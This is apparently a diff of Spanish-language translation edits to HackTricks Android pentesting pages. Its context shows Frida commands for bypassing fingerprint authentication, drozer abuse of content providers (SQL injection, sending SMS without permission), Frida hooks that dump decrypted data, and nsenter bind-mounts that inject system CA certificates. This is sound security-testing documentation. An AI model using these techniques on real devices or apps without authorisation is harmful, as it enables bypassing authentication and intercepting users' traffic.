El esquema debe ser declarado en el **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
@ -216,13 +216,13 @@ Aprende a [llamar enlaces profundos sin usar páginas HTML](./#exploiting-scheme
|
||||
|
||||
## AIDL - Lenguaje de Definición de Interfaz de Android
|
||||
|
||||
El **Lenguaje de Definición de Interfaz de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
El **Lenguaje de Definición de Interfaz de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite el acceso directo a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
|
||||
### Conceptos Clave
|
||||
|
||||
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, marcándolo como un área vital para la revisión de seguridad en busca de vulnerabilidades.
|
||||
|
||||
- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca en busca de cualquier manejo de datos inseguro o ejecución de funciones sensibles.
|
||||
- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca para detectar cualquier manejo de datos inseguro o ejecución de funciones sensibles.
|
||||
|
||||
- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de núcleo que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una comprensión más profunda, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
@ -249,7 +249,7 @@ Las actividades pueden estar disponibles para otras aplicaciones o procesos marc
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Sin embargo, acceder a una actividad desde otra aplicación no siempre es un riesgo de seguridad. La preocupación surge si se comparten datos sensibles de manera inapropiada, lo que podría llevar a filtraciones de información.
|
||||
Sin embargo, acceder a una actividad desde otra aplicación no siempre es un riesgo de seguridad. La preocupación surge si se están compartiendo datos sensibles de manera inapropiada, lo que podría llevar a filtraciones de información.
|
||||
|
||||
El ciclo de vida de una actividad **comienza con el método onCreate**, configurando la interfaz de usuario y preparando la actividad para la interacción con el usuario.
|
||||
|
||||
@ -297,7 +297,7 @@ Para entender la funcionalidad de un receptor, busque el método **`onReceive`**
|
||||
|
||||
La validación de entrada es primordial para prevenir vulnerabilidades, como la inyección SQL. Los Content Providers admiten operaciones básicas: `insert()`, `update()`, `delete()`, y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
|
||||
|
||||
**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la aplicación con atributos específicos para controlar el acceso a carpetas, denotadas por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se aconseja tener precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la aplicación con atributos específicos para controlar el acceso a carpetas, denotados por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se aconseja tener precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
|
||||
Ejemplo de declaración de manifest para FileProvider:
|
||||
```xml
|
||||
@ -322,7 +322,7 @@ Para más información, consulta:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los de los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
|
||||
Android ofrece dos tipos principales de WebView:
|
||||
|
||||
|
||||
@ -33,7 +33,7 @@ El atributo `launchMode` dirige el manejo de instancias de actividad dentro de l
|
||||
4. **Ejecución del secuestro**: Debido a la coincidencia de afinidad de tarea, la aplicación maliciosa se lanza en lugar de la aplicación objetivo.
|
||||
5. **Engaño**: La aplicación maliciosa presenta una pantalla de inicio de sesión falsa que se asemeja a la aplicación objetivo, engañando al usuario para que ingrese información sensible.
|
||||
|
||||
Para una implementación práctica de este ataque, consulte el repositorio Task Hijacking Strandhogg en GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
Para una implementación práctica de este ataque, consulta el repositorio Task Hijacking Strandhogg en GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
|
||||
### Medidas de prevención
|
||||
|
||||
|
||||
@ -58,7 +58,7 @@ La máquina virtual será creada. Ahora **cada vez que accedas al AVD manager es
|
||||
|
||||
### Ejecutar Máquina Virtual
|
||||
|
||||
Para **ejecutarla** solo presiona el _**Start button**_.
|
||||
Para **ejecutarla**, solo presiona el _**Start button**_.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## **Método 1 – Bypass sin uso de objeto Crypto**
|
||||
|
||||
El enfoque aquí está en el _onAuthenticationSucceeded_ callback, que es crucial en el proceso de autenticación. Investigadores de WithSecure desarrollaron un [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), que permite el bypass del NULL _CryptoObject_ en _onAuthenticationSucceeded(...)_. El script fuerza un bypass automático de la autenticación de huellas dactilares al invocar el método. A continuación se muestra un fragmento simplificado que demuestra el bypass en un contexto de huellas dactilares de Android, con la aplicación completa disponible en [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
@ -19,7 +20,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp
|
||||
```
|
||||
## **Método 2 – Enfoque de Manejo de Excepciones**
|
||||
|
||||
Otro [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) de WithSecure aborda el bypass del uso inseguro de objetos criptográficos. El script invoca _onAuthenticationSucceeded_ con un _CryptoObject_ que no ha sido autorizado por una huella dactilar. Si la aplicación intenta usar un objeto de cifrado diferente, se generará una excepción. El script se prepara para invocar _onAuthenticationSucceeded_ y manejar la _javax.crypto.IllegalBlockSizeException_ en la clase _Cipher_, asegurando que los objetos subsecuentes utilizados por la aplicación estén cifrados con la nueva clave.
|
||||
Otro [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) de WithSecure aborda el bypass del uso inseguro de objetos criptográficos. El script invoca _onAuthenticationSucceeded_ con un _CryptoObject_ que no ha sido autorizado por una huella digital. Si la aplicación intenta usar un objeto de cifrado diferente, se generará una excepción. El script se prepara para invocar _onAuthenticationSucceeded_ y manejar la _javax.crypto.IllegalBlockSizeException_ en la clase _Cipher_, asegurando que los objetos subsecuentes utilizados por la aplicación estén cifrados con la nueva clave.
|
||||
|
||||
Comando para ejecutar el script de Frida:
|
||||
```bash
|
||||
@ -49,7 +50,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
Las herramientas de ingeniería inversa como `APKTool`, `dex2jar` y `JD-GUI` se pueden utilizar para descompilar una aplicación de Android, leer su código fuente y entender su mecanismo de autenticación. Los pasos generalmente incluyen:
|
||||
|
||||
1. **Descompilación del APK**: Convertir el archivo APK a un formato más legible para humanos (como código Java).
|
||||
2. **Análisis del Código**: Buscar la implementación de la autenticación por huella dactilar e identificar posibles debilidades (como mecanismos de respaldo o verificaciones de validación inadecuadas).
|
||||
2. **Análisis del Código**: Buscar la implementación de la autenticación por huella dactilar e identificar posibles debilidades (como mecanismos de respaldo o comprobaciones de validación inadecuadas).
|
||||
3. **Recompilación del APK**: Después de modificar el código para eludir la autenticación por huella dactilar, la aplicación se recompila, se firma y se instala en el dispositivo para pruebas.
|
||||
|
||||
## **Método 5 – Uso de Herramientas de Autenticación Personalizadas**
|
||||
|
||||
@ -42,13 +42,13 @@ drozer console connect
|
||||
| **Comandos** | **Descripción** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Muestra la ayuda del módulo seleccionado |
|
||||
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos adecuados para ejecutar. |
|
||||
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos apropiados para ejecutar. |
|
||||
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. |
|
||||
| **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. |
|
||||
| **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. |
|
||||
| **module** | Encuentra e instala módulos adicionales de drozer desde Internet. |
|
||||
| **unset** | Elimina una variable nombrada que drozer pasa a cualquier shell de Linux que genera. |
|
||||
| **set** | Almacena un valor en una variable que se pasará como una variable ambiental a cualquier shell de Linux generado por drozer. |
|
||||
| **set** | Almacena un valor en una variable que se pasará como una variable de entorno a cualquier shell de Linux generado por drozer. |
|
||||
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente |
|
||||
| **run MODULE** | Ejecuta un módulo de drozer |
|
||||
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
|
||||
@ -98,7 +98,7 @@ is debuggable
|
||||
- **Actividades**: Tal vez puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla.
|
||||
- **Proveedores de contenido**: Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal).
|
||||
- **Servicios**:
|
||||
- **es depurable**: [Learn more](./#is-debuggeable)
|
||||
- **es depurable**: [Aprende más](./#is-debuggeable)
|
||||
|
||||
### Actividades
|
||||
|
||||
@ -216,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
|
||||
```
|
||||
#### Enviar un mensaje
|
||||
|
||||
En este ejemplo, al abusar del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario.
|
||||
En este ejemplo, abusando del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -40,7 +40,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Es posible juntar cómo llegar al **DBContentProvider** comenzando las URIs con “_content://_”. Este enfoque se basa en los conocimientos adquiridos al usar Drozer, donde se encontraba información clave en el _/Keys_ directorio.
|
||||
Es posible reunir cómo llegar al **DBContentProvider** comenzando las URIs con “_content://_”. Este enfoque se basa en los conocimientos adquiridos al usar Drozer, donde se encontraba información clave en el _/Keys_ directorio.
|
||||
|
||||
Drozer puede **adivinar y probar varias URIs**:
|
||||
```
|
||||
@ -69,7 +69,7 @@ La consulta será como: `content://name.of.package.class/declared_name`
|
||||
Probablemente la mayoría de los Content Providers se utilizan como **interfaz** para una **base de datos**. Por lo tanto, si puedes acceder a ella, podrías **extraer, actualizar, insertar y eliminar** información.\
|
||||
Verifica si puedes **acceder a información sensible** o intenta cambiarla para **eludir mecanismos de autorización**.
|
||||
|
||||
Al revisar el código del Content Provider, **busca** también **funciones** nombradas como: _query, insert, update y delete_:
|
||||
Al revisar el código del Content Provider, **mira** también las **funciones** nombradas como: _query, insert, update y delete_:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -95,7 +95,7 @@ Consultando la base de datos aprenderás el **nombre de las columnas**, luego, p
|
||||
|
||||
.png>)
|
||||
|
||||
_Nota que en insert y update puedes usar --string para indicar cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean_
|
||||
_Nota que en insertar y actualizar puedes usar --string para indicar cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Actualizar contenido
|
||||
|
||||
@ -110,7 +110,7 @@ Conociendo el nombre de las columnas también podrías **modificar las entradas*
|
||||
### **Inyección SQL**
|
||||
|
||||
Es simple probar la inyección SQL **(SQLite)** manipulando los **campos de proyección** y **selección** que se pasan al proveedor de contenido.\
|
||||
Al consultar el Content Provider hay 2 argumentos interesantes para buscar información: _--selection_ y _--projection_:
|
||||
Al consultar el Proveedor de Contenido hay 2 argumentos interesantes para buscar información: _--selection_ y _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -33,7 +33,7 @@ Contenido basado en https://medium.com/@shubhamsonani/hacking-with-precision-byp
|
||||
- Para persistencia, usa `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Para eliminar todas las banderas, usa `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Prepararse para la depuración en Android Studio:**
|
||||
5. **Preparar para la depuración en Android Studio:**
|
||||
|
||||
- Navega en Android Studio a _File -> Open Profile or APK_.
|
||||
- Abre el APK recompilado.
|
||||
|
||||
@ -5,13 +5,13 @@
|
||||
|
||||
## Instalación
|
||||
|
||||
Instala **frida tools**:
|
||||
Instalar **frida tools**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Descargar e instalar** en el android el **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
Una línea para reiniciar adb en modo root, conectarse a él, subir frida-server, dar permisos de ejecución y ejecutarlo en segundo plano:
|
||||
Comando de una línea para reiniciar adb en modo root, conectarse a él, subir frida-server, dar permisos de ejecución y ejecutarlo en segundo plano:
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
@ -117,7 +117,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
```
|
||||
### Enganchando funciones con parámetros y recuperando el valor
|
||||
|
||||
Enganchando una función de desencriptación. Imprimir la entrada, llamar a la función original para desencriptar la entrada y, finalmente, imprimir los datos en texto claro:
|
||||
Enganchando una función de desencriptación. Imprimir la entrada, llamar a la función original para desencriptar la entrada y, finalmente, imprimir los datos en texto plano:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -161,7 +161,7 @@ return ret
|
||||
|
||||
Si deseas extraer algún atributo de un objeto creado, puedes usar esto.
|
||||
|
||||
En este ejemplo verás cómo obtener el objeto de la clase my_activity y cómo llamar a la función .secret() que imprimirá un atributo privado del objeto:
|
||||
En este ejemplo, verás cómo obtener el objeto de la clase my_activity y cómo llamar a la función .secret() que imprimirá un atributo privado del objeto:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Este es un resumen de la publicación**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Código Fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
@ -74,7 +75,7 @@ onComplete: function () {},
|
||||
})
|
||||
})
|
||||
```
|
||||
En este caso, esto no está funcionando ya que no hay ninguna instancia y la función es estática.
|
||||
En este caso, esto no funciona ya que no hay ninguna instancia y la función es estática.
|
||||
|
||||
### Función Estática
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ La parte 1 es muy fácil.
|
||||
|
||||
## Parte 2
|
||||
|
||||
Aquí puedes ver un ejemplo de cómo **enganchar 2 funciones con el mismo nombre** pero diferentes parámetros.\
|
||||
Aquí puedes ver un ejemplo de cómo **hookear 2 funciones con el mismo nombre** pero diferentes parámetros.\
|
||||
Además, vas a aprender cómo **llamar a una función con tus propios parámetros**.\
|
||||
Y finalmente, hay un ejemplo de cómo **encontrar una instancia de una clase y hacer que llame a una función**.
|
||||
```javascript
|
||||
|
||||
@ -30,7 +30,7 @@ pip3 install objection
|
||||
```
|
||||
### Conexión
|
||||
|
||||
Haz una **conexión ADB regular** y **inicia** el servidor **frida** en el dispositivo (y verifica que frida esté funcionando tanto en el cliente como en el servidor).
|
||||
Haz una **conexión ADB regular** y **inicia** el **servidor frida** en el dispositivo (y verifica que frida esté funcionando tanto en el cliente como en el servidor).
|
||||
|
||||
Si estás utilizando un **dispositivo rooteado**, es necesario seleccionar la aplicación que deseas probar dentro de la opción _**--gadget**_. en este caso:
|
||||
```bash
|
||||
@ -39,11 +39,11 @@ objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Acciones Básicas
|
||||
|
||||
No se van a listar todos los comandos posibles de objections en este tutorial, solo los que he encontrado más útiles.
|
||||
No se enumerarán todos los comandos posibles de objections en este tutorial, solo los que he encontrado más útiles.
|
||||
|
||||
#### Entorno
|
||||
|
||||
Se podría encontrar información interesante (como contraseñas o rutas) dentro del entorno.
|
||||
Se puede encontrar información interesante (como contraseñas o rutas) dentro del entorno.
|
||||
```bash
|
||||
env
|
||||
```
|
||||
@ -141,7 +141,7 @@ Esto es muy útil si quieres **enganchar el método de una clase y solo conoces
|
||||
|
||||
#### Enganchar (observar) un método
|
||||
|
||||
Del [código fuente](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de la aplicación sabemos que la **función** _**sum()**_ **de** _**MainActivity**_ se está ejecutando **cada segundo**. Intentemos **volcar toda la información posible** cada vez que se llama a la función (argumentos, valor de retorno y traza de llamada):
|
||||
Del [código fuente](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de la aplicación sabemos que la **función** _**sum()**_ **de** _**MainActivity**_ se está ejecutando **cada segundo**. Intentemos **extraer toda la información posible** cada vez que se llama a la función (argumentos, valor de retorno y traza de llamada):
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
@ -169,7 +169,7 @@ Ahora, si escribes cualquier cosa en el cuadro de texto para el código PIN, ver
|
||||
|
||||
### Instancias de clase
|
||||
|
||||
Busca e imprime **instancias en vivo de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
|
||||
Busca e imprime **instancias activas de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -224,3 +224,7 @@ exit
|
||||
- Los métodos de hooking a veces hacen que la aplicación se bloquee (esto también se debe a Frida).
|
||||
- No puedes usar las instancias de las clases para llamar a las funciones de la instancia. Y no puedes crear nuevas instancias de clases y usarlas para llamar a funciones.
|
||||
- No hay un atajo (como el de sslpinnin) para enganchar todos los métodos criptográficos comunes que utiliza la aplicación para ver texto cifrado, texto plano, claves, IVs y algoritmos utilizados.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -55,7 +55,7 @@ send("Hooks installed.")
|
||||
|
||||
Basado en [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Enganchar rootchecks** y la función de desencriptar para que imprima la bandera en la consola de frida cuando presiones verificar:
|
||||
**Enganchar rootchecks** y la función de desencriptación para que imprima la bandera en la consola de frida cuando presiones verificar:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...")
|
||||
|
||||
@ -56,10 +56,10 @@ Una cuarta forma es agregar una instrucción para mover el valor de v9(1000000)
|
||||
|
||||
## Solución
|
||||
|
||||
Haz que la aplicación ejecute el bucle 100000 veces cuando ganes la primera vez. Para hacerlo, solo necesitas crear el bucle **:goto_6** y hacer que la aplicación **salte allí si `this.o`** no tiene un valor de 100000:
|
||||
Haz que la aplicación ejecute el bucle 100000 veces cuando ganes la primera vez. Para hacerlo, solo necesitas crear el bucle **:goto_6** y hacer que la aplicación **salte allí si `this.o`** no tiene el valor 100000:
|
||||
|
||||
.png>)
|
||||
|
||||
Necesitas hacer esto dentro de un dispositivo físico ya que (no sé por qué) esto no funciona en un dispositivo emulado.
|
||||
Necesitas hacer esto en un dispositivo físico ya que (no sé por qué) esto no funciona en un dispositivo emulado.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -57,7 +57,7 @@ Los intentos de volver a montar la **ruta APEX cacerts** como escribible fracasa
|
||||
|
||||
La inicialización de Android implica el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicación con un nuevo espacio de nombres de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
|
||||
|
||||
No obstante, existe una solución para aquellos que necesitan modificar los certificados CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere acción rápida para evitar fallos del sistema. Para asegurar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva al sistema a un estado consistente.
|
||||
Sin embargo, existe una solución para aquellos que necesitan modificar los certificados CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere acción rápida para evitar fallos del sistema. Para asegurar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que efectivamente reinicia todas las aplicaciones y lleva al sistema a un estado consistente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -115,14 +115,14 @@ wait # Launched in parallel - wait for completion here
|
||||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
### Montaje por enlace a través de NSEnter
|
||||
|
||||
1. **Configurando un Directorio Escribible**: Inicialmente, se establece un directorio escribible montando un `tmpfs` sobre el directorio de certificados del sistema no-APEX existente. Esto se logra con el siguiente comando:
|
||||
1. **Configuración de un Directorio Escribible**: Inicialmente, se establece un directorio escribible montando un `tmpfs` sobre el directorio de certificados del sistema no-APEX existente. Esto se logra con el siguiente comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparando Certificados CA**: Después de configurar el directorio escribible, los certificados CA que se pretende utilizar deben ser copiados a este directorio. Esto puede implicar copiar los certificados predeterminados de `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas SELinux de estos certificados en consecuencia.
|
||||
3. **Montaje Bind para Zygote**: Utilizando `nsenter`, se ingresa al espacio de nombres de montaje de Zygote. Zygote, siendo el proceso responsable de lanzar aplicaciones de Android, requiere este paso para asegurar que todas las aplicaciones iniciadas a partir de ahora utilicen los certificados CA recién configurados. El comando utilizado es:
|
||||
2. **Preparación de Certificados CA**: Después de configurar el directorio escribible, los certificados CA que se pretende utilizar deben ser copiados en este directorio. Esto puede implicar copiar los certificados predeterminados de `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas SELinux de estos certificados en consecuencia.
|
||||
3. **Montaje Bind para Zygote**: Utilizando `nsenter`, se entra en el espacio de nombres de montaje de Zygote. Zygote, siendo el proceso responsable de lanzar aplicaciones de Android, requiere este paso para asegurar que todas las aplicaciones iniciadas a partir de ahora utilicen los certificados CA recién configurados. El comando utilizado es:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
@ -132,7 +132,7 @@ Esto asegura que cada nueva aplicación iniciada se adherirá a la configuració
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Enfoque Alternativo - Reinicio Suave**: Un método alternativo implica realizar el montaje de enlace en el proceso `init` (PID 1) seguido de un reinicio suave del sistema operativo con los comandos `stop && start`. Este enfoque propagaría los cambios a través de todos los espacios de nombres, evitando la necesidad de abordar individualmente cada aplicación en ejecución. Sin embargo, este método es generalmente menos preferido debido a la inconveniencia de reiniciar.
|
||||
5. **Enfoque Alternativo - Reinicio Suave**: Un método alternativo implica realizar el montaje de enlace en el proceso `init` (PID 1) seguido de un reinicio suave del sistema operativo con los comandos `stop && start`. Este enfoque propagaría los cambios a través de todos los espacios de nombres, evitando la necesidad de abordar individualmente cada aplicación en ejecución. Sin embargo, este método generalmente es menos preferido debido a la inconveniencia de reiniciar.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo
|
||||
|
||||
# Automático
|
||||
|
||||
La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** realizará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también desactivará la fijación de certificados (si la hay).
|
||||
La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** realizará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también deshabilitará la fijación de certificados (si la hay).
|
||||
|
||||
# Manual
|
||||
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
## Técnicas de **De-obfuscación Manual**
|
||||
|
||||
En el ámbito de la **seguridad del software**, el proceso de hacer que el código oscurecido sea comprensible, conocido como **de-obfuscación**, es crucial. Esta guía profundiza en varias estrategias para la de-obfuscación, centrándose en técnicas de análisis estático y el reconocimiento de patrones de ofuscación. Además, introduce un ejercicio para la aplicación práctica y sugiere recursos adicionales para aquellos interesados en explorar temas más avanzados.
|
||||
En el ámbito de la **seguridad del software**, el proceso de hacer que el código oscurecido sea comprensible, conocido como **de-obfuscación**, es crucial. Esta guía profundiza en varias estrategias para la de-obfuscación, centrándose en técnicas de análisis estático y en el reconocimiento de patrones de ofuscación. Además, introduce un ejercicio para la aplicación práctica y sugiere recursos adicionales para aquellos interesados en explorar temas más avanzados.
|
||||
|
||||
### **Estrategias para la De-obfuscación Estática**
|
||||
|
||||
Al tratar con **código ofuscado**, se pueden emplear varias estrategias dependiendo de la naturaleza de la ofuscación:
|
||||
|
||||
- **Bytecode DEX (Java)**: Un enfoque efectivo implica identificar los métodos de de-obfuscación de la aplicación, luego replicar estos métodos en un archivo Java. Este archivo se ejecuta para revertir la ofuscación en los elementos objetivo.
|
||||
- **Bytecode DEX (Java)**: Un enfoque efectivo implica identificar los métodos de de-obfuscación de la aplicación, y luego replicar estos métodos en un archivo Java. Este archivo se ejecuta para revertir la ofuscación en los elementos objetivo.
|
||||
- **Código Java y Nativo**: Otro método es traducir el algoritmo de de-obfuscación a un lenguaje de scripting como Python. Esta estrategia destaca que el objetivo principal no es entender completamente el algoritmo, sino ejecutarlo de manera efectiva.
|
||||
|
||||
### **Identificación de la Ofuscación**
|
||||
@ -25,14 +25,14 @@ Al ejecutar el código en un entorno controlado, el análisis dinámico **permit
|
||||
|
||||
### **Aplicaciones del Análisis Dinámico**
|
||||
|
||||
- **Desencriptación en Tiempo de Ejecución**: Muchas técnicas de ofuscación implican encriptar cadenas o segmentos de código que solo se desencriptan en tiempo de ejecución. A través del análisis dinámico, estos elementos encriptados pueden ser capturados en el momento de la desencriptación, revelando su verdadera forma.
|
||||
- **Desencriptación en Tiempo de Ejecución**: Muchas técnicas de ofuscación implican encriptar cadenas o segmentos de código que solo se desencriptan en tiempo de ejecución. A través del análisis dinámico, estos elementos encriptados pueden ser capturados en el momento de la desencriptación, revelando su forma verdadera.
|
||||
